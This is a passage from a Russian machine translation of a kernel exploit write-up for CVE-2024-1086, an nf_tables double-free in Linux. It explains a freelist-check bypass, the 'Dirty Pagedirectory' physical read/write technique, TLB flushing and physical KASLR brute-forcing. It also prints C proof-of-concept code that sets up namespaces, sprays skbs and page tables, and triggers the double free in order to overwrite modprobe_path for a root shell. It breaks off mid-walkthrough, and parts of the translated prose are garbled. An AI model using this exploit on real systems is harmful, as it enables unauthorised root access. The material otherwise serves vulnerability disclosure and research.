К сожалению, следующий пункт свободного списка пересекается с skb->lenпараметром с момента skbuff_head_cache->offset == 0x70. Это означает, что указатель следующей/предыдущей записи свободного списка хранится по адресу sk_buff+0x70, который случайно перекрывается с skb->len. Интернет-источники сообщили мне, s->offsetчто разработчики ядра обычно устанавливают половину размера плиты, чтобы избежать возможности перезаписывания OOB-записей указателей свободных списков, что в прошлом приводило к легкому использованию OOB-ошибок.

После первого skbосвобождения skb->lenполе перезаписывается частичным значением следующего пункта. В коде, предшествующем skb2nd free, skb->lenполе изменяется из-за анализа пакета. Следовательно, следующий пункт свободного списка будет поврежден еще до второго skbсвободного.

Когда мы пытаемся выделить запись первого свободного списка свободных skb(после указанного повреждения) с помощью slab_alloc_node(), следующая точка свободного списка в освобожденном объекте помечается как поврежденная в вызовах, вызванных freelist_ptr_decode():

static inline bool freelist_pointer_corrupted(struct slab *slab, freeptr_t ptr,
void *decoded)
{
#ifdef CONFIG_SLAB_VIRTUAL
/*
     * If the freepointer decodes to 0, use 0 as the slab_base so that
     * the check below always passes (0 & slab->align_mask == 0).
     */
unsigned long slab_base = decoded ? (unsigned long)slab_to_virt(slab) : 0;

/*
     * This verifies that the SLUB freepointer does not point outside the
     * slab. Since at that point we can basically do it for free, it also
     * checks that the pointer alignment looks vaguely sane.
     * However, we probably don't want the cost of a proper division here,
     * so instead we just do a cheap check whether the bottom bits that are
     * clear in the size are also clear in the pointer.
     * So for kmalloc-32, it does a perfect alignment check, but for
     * kmalloc-192, it just checks that the pointer is a multiple of 32.
     * This should probably be reconsidered - is this a good tradeoff, or
     * should that part be thrown out, or do we want a proper accurate
     * alignment check (and can we make it work with acceptable performance
     * cost compared to the security improvement - probably not)?
     */
return CHECK_DATA_CORRUPTION(
((unsigned long)decoded & slab->align_mask) != slab_base,
"bad freeptr (encoded %lx, ptr %p, base %lx, mask %lx",
ptr.v, decoded, slab_base, slab->align_mask);
#else
return false;
#endif
}
Копировать
Кодовый блок 4.4.1: код C функции ядра freelist_pointer_corrupted()(экземпляр защиты KernelCTF), включая исходные комментарии.

После некоторых исследований я выяснил, что эта проверка не запускается задним числом: когда мы освобождаем объект поверх объекта с поврежденной записью в свободном списке, средство устранения не проверяет, имеет ли предыдущий объект поврежденный следующий ptr. Это означает, что мы можем замаскировать неверный следующий PTR, освободив после него другой SKB, а затем снова выделить этот SKB с данными старого SKB. По сути, это маскирует исходный поврежденный skb, но при этом позволяет дважды выделить данные skb.

Диаграмма ниже пытается объяснить это явление, выполняя двойное освобождение объекта skb, как эксплойт в этом блоге.

[IMG]https://pwning.tech/content/images/2024/02/bypass_freelist_corruption-2.svg[/IMG]Иллюстрация 4.4.2: Обзор последовательности обхода обнаружения повреждения списка свободных мест в ядре KernelCTF.
Разработчики KernelCTF могли бы смягчить эту ситуацию, проверив следующий ptr заголовка свободного списка на наличие повреждений при освобождении, а не только при выделении.

[HEADING=3]4.5. Каталог грязных страниц[/HEADING]
[HEADING=3]4.5.1. Ход мыслей[/HEADING]
Грязная таблица страниц — один из самых интересных методов, с которыми я когда-либо сталкивался. Когда я исследовал готовые методы использования ошибки двойного освобождения, на поверхность всплыла Dirty Pagetable, и она показалась мне идеальной техникой.

Однако я осознавал, что постоянная запись на страницу PTE будет неприятным опытом в контексте моей ошибки с двойным освобождением. Мне не удалось найти какие-либо объекты размером со страницу, которые можно было бы полностью перезаписать пользовательскими данными, и при этом они находились бы в том же свободном списке страниц, что и страницы PTE. Я не хотел использовать атаки с использованием перекрестного кэширования по причинам, связанным со стабильностью и совместимостью, так как это усложнило бы эксплойт.

Затем последовала ночь, полная мозгового штурма, которая натолкнула меня на следующую идею: учитывая, что у меня есть double-free в том же списке свободных, что и PTE, что, если бы можно было дважды распределять PTE по процессам, таким как sudo и эксплойт? По сути, это приведет к совместному использованию памяти (назначению виртуальных адресов эксплойта на физические адреса sudo) между двумя совершенно несвязанными процессами. Следовательно, предположительно можно будет манипулировать данными приложения процесса, работающего под root-доступом, и использовать это для корневой оболочки. Это оказалось немного непрактичным, учитывая, что в начале процесса происходили и другие распределения, поэтому в свободном списке должно быть очень хорошее управление позициями.

Это натолкнуло меня на следующую идею: что, если бы можно было дважды выделить страницу эксплойта PTE и страницу эксплойта PMD, поскольку это означало бы, что PMD разыменовал бы страницу PTE (как значение PTE) как PTE и, следовательно, разрешил бы PTE страницы пользовательского пространства как PTE.

К счастью, этот подход PMD+PTE работает. Альтернативы, такие как PUD+PMD, также работают, и, возможно, PGD+PUD тоже работает. Единственная разница заключается в количестве страниц, зеркалируемых путем моделирования: страницы 1 ГиБ с PTE+PMD, 512 ГиБ с PUD+PMD и, предположительно, 256 ТиБ с PGD+PUD (если это вообще возможно). Имейте в виду, что это влияет на использование памяти, и система может выйти из строя из-за слишком большого количества зеркалируемой памяти.

Кроме того, при выборе между PMD+PTE и PUD+PMD необходимо учитывать интеграцию Dirty Pagedirectory. Я объясняю это в разделе о распылении PTE, но в целом PMD+PTE должен быть лучшим выбором.

[HEADING=3]4.5.2. Техника[/HEADING]
Метод Dirty Pagedirectory обеспечивает неограниченное и стабильное чтение/запись на любую страницу памяти на основе физических адресов. Он может обходить разрешения, устанавливая свои собственные флаги разрешений. Это позволяет нашему эксплойту записывать на страницы, доступные только для чтения, например те, которые содержат файлы modprobe_path.

[QUOTE]
[B]В этом разделе я объясняю PUD+PMD, но это сводится к тому же, что и стратегия PMD+PTE из эксплойта PoC.[/B]
[/QUOTE]
Этот метод довольно прост по своей природе: назначьте верхний каталог страницы (PUD) и средний каталог страницы (PMD) одному и тому же адресу ядра, используя такую ошибку, как двойное освобождение. Во избежание конфликтов VMA должны быть отдельными (то есть не размещайте PMD внутри области PUD). Затем запишите адрес страницы в диапазоне PMD и прочитайте адрес на соответствующей странице диапазона PUD. Диаграмма ниже пытается объяснить это явление (в дополнение к примеру под ней).

[IMG]https://pwning.tech/content/images/2024/03/dirtypagedirectory.svg[/IMG]Рисунок 4.5.2.1: Обзор иерархии метода «Dirty Pagedirectory», включая необходимые операции с памятью.
Чтобы упростить задачу, давайте представим себе следующий сценарий: печально известная modprobe_pathпеременная хранится на странице по PFN/физическому адресу 0xCAFE1460. Мы применяем Dirty Pagedirectory: дважды выделяем страницу PUD и страницу PMD через mmap для соответствующих диапазонов VMA пользовательского пространства 0x8000000000 - 0x10000000000( mm->pgd[1]) и 0x40000000 - 0x80000000( mm->pgd[0][1]).

Это автоматически означает, что mm->pgd[1][x][y]это всегда равно, mm->pgd[0][1][x][y]потому что оба mm->pgd[1]и mm->pgd[0][1]ссылаются на адрес/объект, поскольку мы их дважды выделили. Посмотрите, как mm->pgd[0][1][x][y]выглядит страница пользовательского пространства и mm->pgd[1][x][y]PTE. Это означает, что выделенная область PUD будет интерпретировать страницу пользовательской области из области PMD как PTE.

Теперь, чтобы прочитать физический адрес страницы, 0xCAFE1460мы устанавливаем первую запись значения PTE областей PUD на 0x80000000CAFE1867(добавленные флаги PTE), записывая это значение в 0x40000000(он же адрес пользовательской области для страницы @ mm->pgd[0][1][0][0]+0x0). Из-за приведенного выше правила запутанности это означает, что мы записали это значение в адрес PTE для страницы @ mm->pgd[1][0][0]+0x0, поскольку mm->pgd[1][0][0] == mm->pgd[0][1][0][0]. Теперь мы можем разыменовать это вредоносное значение PTE, прочитав страницу mm->pgd[1][0][0][0](последний индекс 0, поскольку мы записали его в первые 8 байтов PTE: обратите внимание 0x0выше). Это эквивалентно странице пользователя 0x8000000000.

Поскольку PTE теперь изменен из области пользователя, нам необходимо очистить TLB, поскольку TLB будет содержать устаревшую запись. Как только это будет сделано, printf('%s', 0x8000000460);следует напечатать /sbin/modprobeили какое-либо другое значение modprobe_path. Естественно, теперь мы можем перезаписать modprobe_path( strcpy((char*)0x8000000460, "/tmp/privesc.sh"); есть KMOD_PATH_LENзаполнение байтами) и удалить корневую оболочку. Для этого не требуется очистка TLB, поскольку сами PTE не изменяются при записи по адресу.

[QUOTE]
Обратите внимание, как мы устанавливаем флаги чтения/записи в значении PTE 0x80000000CAFE1867. Обратите внимание, что 0x8виртуальный адрес 0x8000000460и значение PTE 0x80000000CAFE1867не имеют ничего общего: в значении PTE это включенный флаг, а виртуальный адрес просто начинается с 0x8.
[/QUOTE]
Это сводится к следующему: записать значения PTE на страницы пользовательской области в диапазоне VMA 0x40000000 - 0x80000000и разыменовать их, читая и записывая соответствующие страницы пользовательской области в диапазоне VMA 0x8000000000 - 0x10000000000.

[HEADING=3]4.5.3. Меры по смягчению последствий[/HEADING]
Я использовал эту технику, чтобы обойти множество средств защиты, имеющихся в настоящее время в ядре (среди прочих: виртуальный KASLR, KPTI, SMAP, SMEP и т. д. CONFIG_STATIC_USERMODEHELPER), хотя другие средства защиты можно обойти в PoC-эксплойте с помощью небольшого инженерного мастерства.

Когда этот метод прошел рецензирование, меня спросили, как он может обойти SMAP. Ответ довольно прост: SMAP работает только с виртуальными адресами, а не с адресами физической памяти. PTE упоминаются в PMD по их физическому адресу. Это означает, что если запись PTE в PMD является страницей пользовательской области, SMAP не обнаружит ее, поскольку она не является виртуальными адресами. Следовательно, область PUD может успешно использовать страницу пользовательской области в качестве PTE без вмешательства SMAP.

Можно было бы смягчить этот метод, установив в записи тип записи таблицы и используя его для обнаружения, когда PMD выделяется вместо PUD, поскольку мы не можем подделать записи PMD и сами записи PUD. Примером может служить тип настройки 0 для PTE, 1 для PMD, 2 для PUD, 3 для P4D, 4 для PGD и т. д. Однако для этого потребуется 2log(levels)установить биты в каждой записи таблицы (3 бита, когда P4D включен, поскольку уровни = 5), что приведет к жертвованию пространством, предназначенным для функций в будущем, а также проверками во время выполнения, предположительно создающими большие накладные расходы. поскольку необходимо проверять каждый уровень для каждого доступа к памяти. Кроме того, это смягчение по-прежнему будет позволять принудительное совместное использование памяти (т. е. перекрытие страницы PTE эксплойта со страницей PTE sudo, запускаемой от имени пользователя root).

[HEADING=3]4.6. Распыление таблиц страниц для Dirty PD[/HEADING]
Вы можете заметить, что в разделе «Dirty Pagedirectory» выше упоминается PUD+PMD, но в доказательстве концепции используется PMD+PTE. Это связано с тем, что эксплойт опустошает список PCP для выделения PTE по адресу, освобожденному дважды.

Во-первых, таблицы страниц выделяются ядром по требованию, поэтому, если мы создадим карту виртуальной памяти, выделения не произойдет. Только когда мы действительно прочитаем/запишем этот VMA, он выделит необходимые таблицы страниц для страницы, к которой осуществляется доступ. Например, при выделении PUD будут выделены PMD, PTE и страница пользовательского пространства. При выделении PTE также будет выделена целевая страница пользовательской области.

В оригинальной статье Dirty Pagetable упоминается (очень элегантно) что вы можете распылять определенные уровни таблицы страниц, сначала выделив родителей, поскольку родительский элемент (т. е. PMD) содержит 512 дочерних элементов (PTE). Следовательно, если бы мы хотели распылить 4096 PTE, нам нужно было бы предварительно выделить 8 ( 4096/512 = 8) PMD перед выделением PTE.

Если мы распылим PMD, PTE тоже будут выделены — из того же списка свободных. Это значит, что 50% распыления — это ПМД, а 50% — ПТЭ. Если бы мы распыляли PUD, это было бы 33% PUD, 33% PMD и 33% PTE. Следовательно, если мы распылим PTE, это будет 100% PTE, поскольку мы не выполняем никаких других распределений. По этой причине мы используем в эксплойте PMD+PTE, а не PUD+PMD, а распыление PMD означает снижение стабильности на 50%.

[QUOTE]
Обратите внимание, что сами страницы пользовательской области выделяются из другого свободного списка (тип миграции 0, а не тип миграции 1).
[/QUOTE]
[HEADING=3]4.7. Промывка TLB[/HEADING]
Очистка TLB — это практика удаления или признания недействительными всех записей в резервном буфере трансляции (кэширование виртуального адреса в физический адрес). Чтобы надежно сканировать адреса с использованием метода Dirty Pagedirectory, нам необходимо разработать метод очистки TLB, который удовлетворяет следующим требованиям:

[LIST]
[*][B]Не изменяет существующие таблицы страниц процесса.[/B]
[*][B]Должен работать 100% времени[/B]
[*]Должно быть быстро
[*]Может быть запущен из пользовательского пространства
[*]Должен работать независимо от PCID
[/LIST]
Основываясь на этих требованиях, мне пришла в голову следующая идея: при выделении областей памяти PMD и PTE следует пометить их как общие, а затем выполнить fork() процесс, сделать дочерний munmap() его для сброса и заставить дочерний процесс работать спать (чтобы избежать сбоев, если базовый эксплойт нестабилен). Результатом является следующая функция:

static void flush_tlb(void *addr, size_t len)
{
short *status;

status = mmap(NULL, sizeof(short), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  
*status = FLUSH_STAT_INPROGRESS;
if (fork() == 0)
{
munmap(addr, len);
*status = FLUSH_STAT_DONE;
PRINTF_VERBOSE("[*] flush tlb thread gonna sleep\n");
sleep(9999);
}

SPINLOCK(*status == FLUSH_STAT_INPROGRESS);

munmap(status, sizeof(short));
}
Копировать
Кодовый блок 4.7.1: код C пользовательской функции, которая очищает TLB для определенного диапазона виртуальной памяти.

Механизм блокировки не позволяет родительскому элементу продолжить выполнение до того, как дочерний элемент очистит TLB. Предположительно, его можно удалить, если дочерний процесс выполнит выход из процесса вместо того, чтобы спать, поскольку родитель может отслеживать состояние дочернего процесса.

Этот метод очистки TLB работал в 100% случаев для обновления таблиц страниц и каталогов страниц. Он был протестирован на последнем процессоре AMD и на виртуальных машинах QEMU. Он должен быть аппаратно независимым, поскольку в этом случае сброс ДОЛЖЕН запускаться из ядра.

[HEADING=3]4.8. Работа с физическим KASLR[/HEADING]
Рандомизация структуры адресного пространства физического ядра (Physical KASLR) — это практика рандомизации физического базового адреса ядра Linux. Обычно это не имеет значения, поскольку почти все эксплойты работают с виртуальной памятью (и, следовательно, имеют дело с виртуальным KASLR).

Однако из-за характера нашего эксплойта, который использует Dirty Pagedirectory, нам необходимо иметь физический адрес памяти, в которую мы хотим читать/записывать.

[HEADING=3]4.8.1. Получение физического базового адреса ядра[/HEADING]
Обычно это означает, что нам придется перебрать весь диапазон физической памяти, чтобы найти физический целевой адрес.

[QUOTE]
Под физической памятью подразумеваются все формы адресов физической памяти, которые можно использовать: например, на ноутбуке 16 ГБ оперативной памяти + 1 ГБ встроенного MMIO = 17 ГБ физической памяти на устройстве.
[/QUOTE]
Однако одна из особенностей ядра Linux заключается в том, что физический базовый адрес ядра должен быть выровнен по байтам CONFIG_PHYSICAL_START(то есть 16 МБ), если . Если , физический базовый адрес ядра будет точно . Для этого метода мы предполагаем , поскольку не имело бы смысла брутфорсить физический KASLR, если бы мы знали адрес.0x100'0000CONFIG_RELOCATABLE=yCONFIG_RELOCATABLE=nCONFIG_PHYSICAL_STARTCONFIG_RELOCATABLE=y

[QUOTE]
Если CONFIG_PHYSICAL_ALIGNустановлено, это значение будет использоваться для выравнивания вместо CONFIG_PHYSICAL_START. Обратите внимание, что CONFIG_PHYSICAL_ALIGNобычно он меньше, например 0x20'00002 МБ, что означает, что необходимо перебрать больше адресов (в 8 раз больше, чем при выравнивании 0x100'0000).
[/QUOTE]
Предполагая, что целевое устройство имеет физическую память 8 ГБ, это означает, что мы можем сократить нашу область поиска до 8GiB / 16MiB = 512возможных физических базовых адресов ядра, поскольку мы знаем, что базовый адрес должен быть выровнен по CONFIG_PHYSICAL_STARTбайтам. Преимущество состоит в том, что нам нужно проверить только первые несколько байтов первой страницы из 512 адресов, чтобы проверить, является ли эта страница базой ядра.

По сути, мы можем определить физический базовый адрес ядра, перебрав несколько сотен физических адресов. К счастью, Dirty Pagedirectory допускает неограниченное чтение/запись целых страниц и, следовательно, позволяет нам читать 4096 байт на физический адрес (страницы) и, что еще более удачно, 512 адресов страниц за перезапись PTE. Для этого нам необходимо перезаписать PTE только один раз, чтобы определить физический базовый адрес ядра, если наша машина имеет память 8 ГБ.

Чтобы правильно распознать, какой из этих 512 физических адресов содержит базу ядра, я написал [URL='https://github.com/Notselwyn/get-sig']get-sig[/URL] : несколько скриптов Python для создания гигантского оператора if на базе memcmp, который находит перекрывающиеся байты между различными дампами ядра.

[HEADING=3]4.8.2. Получение физического целевого адреса[/HEADING]
Когда мы находим физический базовый адрес, мы можем найти конечный целевой адрес нашей операции чтения/записи — если он находится в области ядра — используя жестко закодированные смещения, основанные на физической базе ядра, или сканируя физическую ~80MiBобласть памяти ядра на наличие данных. узоры цели.

Метод сканирования данных требует 1 + 80MiB/2MiB ~= 40перезаписи PTE в системе с памятью 8 ГБ. Если у нас есть доступ к Dirty Pagedirectory и формат целевых данных уникален (например, modprobe_pathбуфер), метод сканирования по шаблону данных лучше из-за более широкой совместимости между версиями ядра, и особенно если мы не знаем смещения при компиляции эксплуатировать.

Обратите внимание ~80MiB, что метод сканирования памяти является приблизительным и, вероятно, в действительности будет меньше, и его можно даже оптимизировать для меньшей области памяти, поскольку определенные цели могут находиться в определенных областях, которые имеют определенное смещение. Например, код ядра может появиться со смещением +0x0от базового адреса, в то время как данные ядра могут всегда начинаться, например, +0x1000000независимо от используемого ядра, поскольку размер ядра остается довольно постоянным. Следовательно, если бы мы искали modprobe_path, мы могли бы просто начать с +0x1000000, но это не проверялось.

[HEADING=2]5. Проверка концепции[/HEADING]
[HEADING=3]5.1. Исполнение[/HEADING]
Давайте взломаем мэйнфрейм, ладно? Общие принципы эксплойта можно получить из диаграммы ниже. В этом разделе я пытаюсь для ясности связать подразделы с этой диаграммой.

[QUOTE]
Обратите внимание, что эксплойт в этом разделе относится к новой версии, а не к исходному эксплойту KernelCTF (новый эксплойт также работает и на экземпляре смягчения). Эта запись будет опубликована отдельно в репозитории KernelCTF.
[/QUOTE]
Не стесняйтесь читать вместе с исходным кодом эксплойта, который доступен в моем [URL='https://github.com/Notselwyn/CVE-2024-1086']PoC-репозитории CVE-2024-1086[/URL] .

[IMG]https://pwning.tech/content/images/2024/03/-gameplanv2-5.svg[/IMG]Иллюстрация 5.1.1: Обзор выполнения этапов эксплойта с высоты птичьего полета.
[HEADING=3]5.1.1. Настройка среды[/HEADING]
Чтобы вызвать ошибку, нам необходимо настроить определенное сетевое окружение и пространства имен пользователей.

[HEADING=3]5.1.1.1. Пространства имен[/HEADING]
Для эксплойта LPE нам нужна опция пространств имен непривилегированных пользователей, установленная для доступа к nf_tables. Это должно быть включено по умолчанию в основных дистрибутивах, таких как Debian и Ubuntu. Таким образом, эти дистрибутивы имеют большую поверхность атаки, чем дистрибутивы, которые не допускают непривилегированных пространств имен пользователей. Это можно проверить с помощью sysctl kernel.unprivileged_userns_clone, и 1это означает, что оно включено:

$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1
Копировать
Кодовый блок 5.1.1.1.1: команда CLI для проверки включения пространств имен непривилегированных пользователей.

Мы создаем необходимые пользовательские и сетевые пространства имен в эксплойте, используя:

static void do_unshare()
{
int retv;

printf("[*] creating user namespace (CLONE_NEWUSER)...\n");
  
// do unshare seperately to make debugging easier
retv = unshare(CLONE_NEWUSER);
if (retv == -1) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

printf("[*] creating network namespace (CLONE_NEWNET)...\n");

retv = unshare(CLONE_NEWNET);
if (retv == -1)
{
perror("unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
}
Копировать
Кодовый блок 5.1.1.1.2: do_unshare()функция эксплойта, написанная на C, которая создает пользовательское и сетевое пространства имен.

После этого мы предоставляем себе корневой доступ к пространству имен, устанавливая сопоставления UID/GID, используя:

static void configure_uid_map(uid_t old_uid, gid_t old_gid)
{
char uid_map[128];
char gid_map[128];

printf("[*] setting up UID namespace...\n");
  
sprintf(uid_map, "0 %d 1\n", old_uid);
sprintf(gid_map, "0 %d 1\n", old_gid);

// write the uid/gid mappings. setgroups = "deny" to prevent permission error
PRINTF_VERBOSE("[*] mapping uid %d to namespace uid 0...\n", old_uid);
write_file("/proc/self/uid_map", uid_map, strlen(uid_map), 0);

PRINTF_VERBOSE("[*] denying namespace rights to set user groups...\n");
write_file("/proc/self/setgroups", "deny", strlen("deny"), 0);

PRINTF_VERBOSE("[*] mapping gid %d to namespace gid 0...\n", old_gid);
write_file("/proc/self/gid_map", gid_map, strlen(gid_map), 0);

#if CONFIG_VERBOSE_
// perform sanity check
// debug-only since it may be confusing for users
system("id");
#endif
}
Копировать
Кодовый блок 5.1.1.1.3: configure_uid_map()функция эксплойта, написанная на C, которая настраивает сопоставления пользователей и групп.

[HEADING=3]5.1.1.2. Нфтаблес[/HEADING]
Чтобы вызвать ошибку, нам нужно настроить перехватчики/правила с вредоносным вердиктом. Я не буду показывать здесь полный код, чтобы не загромождать его, поэтому не стесняйтесь проверить репозиторий Github. Однако я использую функцию ниже, чтобы вынести точный вердикт.

// set rule verdict to arbitrary value
static void add_set_verdict(struct nftnl_rule *r, uint32_t val)
{
struct nftnl_expr *e;

e = nftnl_expr_alloc("immediate");
if (e == NULL) {
perror("expr immediate");
exit(EXIT_FAILURE);
}

nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, val);

nftnl_rule_add_expr(r, e);
}

Копировать
Кодовый блок 5.1.1.2.1: add_set_verdict()функция эксплойта, написанная на C, которая регистрирует вредоносный вердикт Netfilter, вызвавший ошибку.

[HEADING=3]5.1.1.3. Предварительные распределения[/HEADING]
Прежде чем мы начнем часть программы, посвященную эксплуатации, нам необходимо предварительно выделить некоторые объекты, чтобы предотвратить шум распределителя, поскольку в эксплойте могут быть чувствительные области, где он может потерпеть неудачу, если в фоновом режиме слишком много шума. Это не ракетостроение и скорее рутинная работа, чем техническая магия.

Обратите внимание, CONFIG_SEC_BEFORE_STORMчто он ожидает завершения всех выделений в фоновом режиме на случай, если некоторые выделения происходят между процессорами. Это значительно замедляет эксплойт (1 секунда -> 11 секунд), но существенно повышает стабильность эксплойта в системах, где может быть много фонового шума. По иронии судьбы, [B]без[/B] спящего режима вероятность успеха увеличилась на 93% -> 99,4% (n=1000) на системах с практически любой рабочей нагрузкой (например, с образом kernelctf), так что играйте с этим значением, как вам нравится.

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
unsigned long long *pte_area;
void *_pmd_area;
void *pmd_kernel_area;
void *pmd_data_area;
struct ip df_ip_header = {
.ip_v = 4,
.ip_hl = 5,
.ip_tos = 0,
.ip_len = 0xDEAD,
.ip_id = 0xDEAD,
.ip_off = 0xDEAD,
.ip_ttl = 128,
.ip_p = 70,
.ip_src.s_addr = inet_addr("1.1.1.1"),
.ip_dst.s_addr = inet_addr("255.255.255.255"),
};
char modprobe_path[KMOD_PATH_LEN] = { '\x00' };

get_modprobe_path(modprobe_path, KMOD_PATH_LEN);

printf("[+] running normal privesc\n");

PRINTF_VERBOSE("[*] doing first useless allocs to setup caching and stuff...\n");

pin_cpu(0);

// allocate PUD (and a PMD+PTE) for PMD
mmap((void*)PTI_TO_VIRT(1, 0, 0, 0, 0), 0x2000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*(unsigned long long*)PTI_TO_VIRT(1, 0, 0, 0, 0) = 0xDEADBEEF;

// pre-register sprayed PTEs, with 0x1000 * 2, so 2 PTEs fit inside when overlapping with PMD
// needs to be minimal since VMA registration costs memory
for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
{
void *retv = mmap((void*)PTI_TO_VIRT(2, 0, i, 0, 0), 0x2000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);

if (retv == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
}

// pre-allocate PMDs for sprayed PTEs
// PTE_SPRAY_AMOUNT / 512 = PMD_SPRAY_AMOUNT: PMD contains 512 PTE children
for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT / 512; i++)
*(char*)PTI_TO_VIRT(2, i, 0, 0, 0) = 0x41;
  
// these use different PTEs but the same PMD
_pmd_area = mmap((void*)PTI_TO_VIRT(1, 1, 0, 0, 0), 0x400000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
pmd_kernel_area = _pmd_area;
pmd_data_area = _pmd_area + 0x200000;

PRINTF_VERBOSE("[*] allocated VMAs for process:\n  - pte_area: ?\n  - _pmd_area: %p\n  - modprobe_path: '%s' @ %p\n", _pmd_area, modprobe_path, modprobe_path);

populate_sockets();

set_ipfrag_time(1);

// cause socket/networking-related objects to be allocated
df_ip_header.ip_id = 0x1336;
df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 8 + 4000;
df_ip_header.ip_off = ntohs((8 >> 3) | 0x2000);
alloc_intermed_buf_hdr(32768 + 8, &df_ip_header);

set_ipfrag_time(9999);

printf("[*] waiting for the calm before the storm...\n");
sleep(CONFIG_SEC_BEFORE_STORM);

// ... (rest of the exploit)
}

Копировать
Кодовый блок 5.1.1.3.1: Частичный код эксплойта, написанный на C, который предварительно выделяет объекты для уменьшения шума в распределителях страниц ядра.

[HEADING=3]5.1.2. Выполнение двойного бесплатного[/HEADING]
Выполнение двойного освобождения — самая сложная часть эксплойта, поскольку нам нужно поиграться с сетевым кодом IPv4 и распределителями страниц. В этом разделе мы выполним это, чтобы мы могли получить произвольные, неограниченные операции чтения/записи к любой странице физической памяти с помощью Dirty Pagedirectory в следующем разделе, что, как ни странно, намного проще.

[HEADING=3]5.1.2.1. Резервирование чистых skb для маскировки[/HEADING]
Чтобы выделить skb перед двойным освобождением (которые мы освобождаем между двойным освобождением, чтобы избежать обнаружения и для стабильности), эксплойт отправляет пакеты UDP в свой собственный сокет прослушивателя UDP. Пока прослушиватель UDP не получит пакеты, они останутся в памяти как отдельные skb.

void send_ipv4_udp(const char* buf, size_t buflen)
{
struct sockaddr_in dst_addr = {
.sin_family = AF_INET,
.sin_port = htons(45173),
.sin_addr.s_addr = inet_addr("127.0.0.1")
};

sendto_noconn(&dst_addr, buf, buflen, sendto_ipv4_udp_client_sockfd);
}
Копировать
Кодовый блок 5.1.2.1.1: send_ipv4_udp()функция эксплойта, написанная на C, которая абстрагирует сетевые данные.

static void alloc_ipv4_udp(size_t content_size)
{
PRINTF_VERBOSE("[*] sending udp packet...\n");
memset(intermed_buf, '\x00', content_size);
send_ipv4_udp(intermed_buf, content_size);
}

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (setup code)

// pop N skbs from skb freelist
for (int i=0; i < CONFIG_SKB_SPRAY_AMOUNT; i++)
{
PRINTF_VERBOSE("[*] reserving udp packets... (%d/%d)\n", i, CONFIG_SKB_SPRAY_AMOUNT);
alloc_ipv4_udp(1);
}

// ... (rest of the exploit)
}
Копировать
Кодовый блок 5.1.2.1.2: Частичный код эксплойта, написанный на C, который выделял UDP-пакеты для распыления объектов sk_buff для последующего бесплатного использования.

[HEADING=3]5.1.2.2. Запуск двойного бесплатного 1-го бесплатного[/HEADING]
Чтобы запустить двойное освобождение, я отправляю IP-пакет, который запускает правило nftables, которое мы установили ранее. Это произвольный протокол, исключающий TCP и UDP, поскольку они будут переданы в код обработчика TCP/UDP, что вызовет панику в ядре из-за повреждения данных.

Обратите внимание на использование IP_MFфлага ( 0x2000) в поле смещения IP-заголовка, который мы используем для помещения skb в очередь IP-фрагментов и освобождения skb по желанию позже, отправив «завершающий» фрагмент. Также обратите внимание, что размер этого skb определяет размер double-free. Если мы выделим пакет с содержимым 0 байт, выделенный объект заголовка skb будет в kmalloc-256 (из-за метаданных), но если мы выделим пакет с 32768 байтами, это будет порядок 4 (16-страница от приятеля). распределитель).

static char intermed_buf[1 << 19]; // simply pre-allocate intermediate buffers

static int sendto_ipv4_ip_sockfd;

void send_ipv4_ip_hdr(const char* buf, size_t buflen, struct ip *ip_header)
{
size_t ip_buflen = sizeof(struct ip) + buflen;
struct sockaddr_in dst_addr = {
.sin_family = AF_INET,
.sin_addr.s_addr =  inet_addr("127.0.0.2")  // 127.0.0.1 will not be ipfrag_time'd. this can't be set to 1.1.1.1 since C runtime will prob catch it
};

memcpy(intermed_buf, ip_header, sizeof(*ip_header));
memcpy(&intermed_buf[sizeof(*ip_header)], buf, buflen);

// checksum needds to be 0 before
((struct ip*)intermed_buf)->ip_sum = 0;
((struct ip*)intermed_buf)->ip_sum = ip_finish_sum(ip_checksum(intermed_buf, ip_buflen, 0));

PRINTF_VERBOSE("[*] sending IP packet (%ld bytes)...\n", ip_buflen);

sendto_noconn(&dst_addr, intermed_buf, ip_buflen, sendto_ipv4_ip_sockfd);
}
Копировать
Кодовый блок 5.1.2.2.1: send_ipv4_ip_hdr()функция эксплойта, написанная на C, которая абстрагирует контрольную сумму и код сокета при попытке отправить необработанный IP-пакет.

static char intermed_buf[1 << 19];

static void send_ipv4_ip_hdr_chr(size_t dfsize, struct ip *ip_header, char chr)
{
memset(intermed_buf, chr, dfsize);
send_ipv4_ip_hdr(intermed_buf, dfsize, ip_header);
}

static void trigger_double_free_hdr(size_t dfsize, struct ip *ip_header)
{
printf("[*] sending double free buffer packet...\n");
send_ipv4_ip_hdr_chr(dfsize, ip_header, '\x41');
}

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (skb spray)

// allocate and free 1 skb from freelist
df_ip_header.ip_id = 0x1337;
df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000);  // wait for other fragments. 8 >> 3 to make it wait or so?
trigger_double_free_hdr(32768 + 8, &df_ip_header);

// ... (rest of the exploit)
}
Копировать
Кодовый блок 5.1.2.2.2: Частичный код эксплойта, написанный на C, который отправляет необработанный IP-пакет и запускает правило nf_tables, которое мы установили ранее.

[HEADING=3]5.1.2.3. Маскировка дабл-фри с помощью skb'ов[/HEADING]
Чтобы предотвратить обнаружение двойного освобождения и повысить стабильность эксплойта, мы удаляем UDP-пакеты, которые мы выделили ранее.

